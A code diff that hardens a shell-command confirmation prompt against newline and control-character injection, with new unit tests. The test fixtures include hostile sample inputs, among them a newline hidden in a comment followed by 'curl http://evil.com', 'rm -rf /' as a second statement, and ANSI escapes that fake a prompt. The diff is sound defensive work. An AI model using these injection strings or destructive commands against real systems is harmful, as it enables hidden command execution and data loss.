KC-1471: Prevent newline injection in connect command prompts

keepercommander/commands/connect_prompts.py

@@ -89,10 +89,31 @@ def _bold_cyan(s: str) -> str:   return _c('1;36', s)
 
 
 def _sanitize(text: Optional[str]) -> str:
-    """Strip C0/C1 control characters (incl. ESC) from attacker-supplied text."""
+    """Escape C0/C1 control characters (incl. ESC) from attacker-supplied text.
+
+    Renders each control character as a visible escape sequence so that
+    (1) the prompt accurately represents what will execute and (2) a newline
+    cannot be hidden inside a comment, making two statements render identically.
+    """
     if not isinstance(text, str):
         return ''
-    return _CONTROL_CHAR_RE.sub('', text)
+
+    def escape_ctrl(m):
+        c = m.group(0)
+        code = ord(c)
+        if c == '\n':
+            return '\\n'
+        elif c == '\t':
+            return '\\t'
+        elif c == '\r':
+            return '\\r'
+        elif code < 0x20:
+            return f'\\x{code:02x}'
+        elif 0x7f <= code < 0xa0:
+            return f'\\x{code:02x}'
+        return c
+
+    return _CONTROL_CHAR_RE.sub(escape_ctrl, text)
 
 
 def _is_interpreter(prog: Optional[str]) -> bool:
@@ -143,7 +164,15 @@ def _looks_multi_statement(arg: str) -> bool:
 
 
 def split_shell_statements(script: Optional[str]) -> List[str]:
-    """Split a shell-script into top-level statements"""
+    """Split a shell-script into top-level statements.
+
+    Handles:
+    - Single/double quoted strings (quote escaping)
+    - Escaped characters (backslash)
+    - Shell statement separators (; \n && ||)
+    - Comments (#) — # only starts a comment when it begins a word
+      (at line start or preceded by whitespace)
+    """
     if not script:
         return []
 
@@ -159,6 +188,13 @@ def flush() -> None:
             parts.append(stmt)
         buf.clear()
 
+    def is_word_boundary(pos: int) -> bool:
+        """True if position is at the start of a shell word (start of line or after whitespace)."""
+        if pos == 0:
+            return True
+        prev_char = script[pos - 1]
+        return prev_char in (' ', '\t', '\n', ';', '&', '|', '(', ')')
+
     while i < n:
         c = script[i]
         if escaped:
@@ -174,6 +210,11 @@ def flush() -> None:
         elif c in ('"', "'"):
             quote = c
             buf.append(c)
+        elif c == '#' and quote is None and is_word_boundary(i):
+            # Comment: skip until newline (only if # starts a word)
+            while i < n and script[i] != '\n':
+                i += 1
+            continue
         elif c in ('\n', ';'):
             flush()
         elif c in ('&', '|') and i + 1 < n and script[i + 1] == c:

unit-tests/test_connect_security.py

@@ -100,14 +100,82 @@ def test_quoted_semicolons_are_not_separators(self):
             ['echo "a; b"', 'rm -rf /'],
         )
 
+    def test_newline_injection_via_comment_apostrophe(self):
+        # Vulnerability: apostrophe in comment should not enter quote state
+        # and should not swallow the newline
+        script = "echo ok  # TODO: don't forget to\ncurl http://evil.com"
+        stmts = cp.split_shell_statements(script)
+        self.assertEqual(len(stmts), 2, f"Expected 2 statements, got {len(stmts)}: {stmts}")
+        self.assertIn('echo ok', stmts[0])
+        self.assertIn('curl http://evil.com', stmts[1])
+
+    def test_comment_blocks_rest_of_line(self):
+        # Comment should block everything until newline
+        stmts = cp.split_shell_statements('echo a # ; ; ;\necho b')
+        self.assertEqual(len(stmts), 2)
+        self.assertEqual(stmts[0], 'echo a')
+        self.assertEqual(stmts[1], 'echo b')
+
+    def test_quoted_hash_is_not_comment(self):
+        # Hash inside quotes is not a comment
+        stmts = cp.split_shell_statements('echo "#"; rm -rf /')
+        self.assertEqual(len(stmts), 2)
+        self.assertEqual(stmts[0], 'echo "#"')
+
+    def test_hash_inside_unquoted_word_is_not_a_comment(self):
+        # # is only a comment at word boundary (start of line or after whitespace)
+        # Not in the middle of a word like "safe#"
+        script = 'echo safe# > /tmp/output; echo next'
+        stmts = cp.split_shell_statements(script)
+        self.assertEqual(len(stmts), 2, f"Expected 2 statements, got {len(stmts)}: {stmts}")
+        self.assertEqual(stmts[0], 'echo safe# > /tmp/output')
+        self.assertEqual(stmts[1], 'echo next')
+
+    def test_hash_after_whitespace_starts_comment(self):
+        # # after whitespace is a comment
+        stmts = cp.split_shell_statements('echo safe # this is a comment\necho next')
+        self.assertEqual(len(stmts), 2)
+        self.assertEqual(stmts[0], 'echo safe')
+        self.assertEqual(stmts[1], 'echo next')
+
+    def test_hash_at_line_start_starts_comment(self):
+        # # at start of line is a comment
+        stmts = cp.split_shell_statements('echo a\n# comment\necho b')
+        self.assertEqual(len(stmts), 2)
+        self.assertEqual(stmts[0], 'echo a')
+        self.assertEqual(stmts[1], 'echo b')
+
 
 class TestRecordTextIsSanitized(unittest.TestCase):
-    def test_ansi_escape_in_record_title_is_stripped(self):
+    def test_ansi_escape_in_record_title_is_escaped(self):
         evil = 'Connect\x1b[2J\x1b[H<fake prompt>'
-        self.assertEqual(cp._sanitize(evil), 'Connect[2J[H<fake prompt>')
-
-    def test_other_controls_are_stripped(self):
-        self.assertEqual(cp._sanitize('a\x00b\x07c\x7fd'), 'abcd')
+        # ESC (0x1b) should be escaped, not deleted
+        sanitized = cp._sanitize(evil)
+        self.assertIn('\\x1b', sanitized)
+        self.assertNotIn('\x1b', sanitized)
+
+    def test_control_chars_are_escaped(self):
+        # Control chars should be escaped, not deleted
+        result = cp._sanitize('a\x00b\x07c\x7fd')
+        # 0x00 (null), 0x07 (bell), 0x7f (del) should be escaped
+        self.assertIn('\\x', result)
+        # But the original characters should be gone
+        self.assertNotIn('\x00', result)
+        self.assertNotIn('\x07', result)
+        self.assertNotIn('\x7f', result)
+
+    def test_newline_is_escaped_not_deleted(self):
+        # Critical: newline should be visible, not deleted
+        result = cp._sanitize('echo backup\ncurl http://evil')
+        self.assertEqual(result, 'echo backup\\ncurl http://evil')
+
+    def test_tab_is_escaped(self):
+        result = cp._sanitize('a\tb')
+        self.assertEqual(result, 'a\\tb')
+
+    def test_carriage_return_is_escaped(self):
+        result = cp._sanitize('a\rb')
+        self.assertEqual(result, 'a\\rb')
 
 
 if __name__ == '__main__':